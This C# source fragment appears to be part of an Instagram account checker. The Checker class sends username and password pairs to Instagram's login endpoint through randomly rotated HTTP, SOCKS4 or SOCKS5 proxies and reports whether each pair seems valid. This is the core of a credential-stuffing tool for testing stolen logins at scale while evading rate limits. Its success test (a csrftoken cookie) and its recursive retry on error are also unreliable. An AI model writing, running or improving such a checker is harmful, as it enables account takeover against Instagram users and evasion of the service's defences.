{
    public class Checker
    {
       
        public static string Check(string login, string password)
        {
            try
            {
                using (var Request = new HttpRequest())
                {
                    HttpResponse Response;
                    if (Globals.TypeProxy == 1)
                    {
                        Request.Proxy = HttpProxyClient.Parse(GetProxy());
                    }
                    else if (Globals.TypeProxy == 2)
                    {
                        Request.Proxy = Socks4ProxyClient.Parse(GetProxy());
                    }
                    else if (Globals.TypeProxy == 3)
                    {
                        Request.Proxy = Socks5ProxyClient.Parse(GetProxy());
                    }

                    Request.AllowAutoRedirect = true;
                    Request.UserAgent = Http.OperaUserAgent();
                    Request.Cookies = new CookieDictionary();

                    Response = Request.Post(
                        "https://www.instagram.com/accounts/login/ajax/",
                        "username=" + login + "&password=" + password);

                    MessageBox.Show(Response.ToString());

                    if (Response.Cookies.ContainsKey("csrftoken"))
                    {
                        return "True";

                    }
                    else
                    {
                        return "False";
                    }




                }
            }
            catch (Exception ex)
            {
                MessageBox.Show(ex.Message);
                Check(login, password);
            }
            return "";
            
        }
        private static string GetProxy()
        {
            Random Rand = new Random();
            return Convert.ToString( Globals.Proxy[Rand.Next(0, Globals.Proxy.Count)]);
        }

    }
}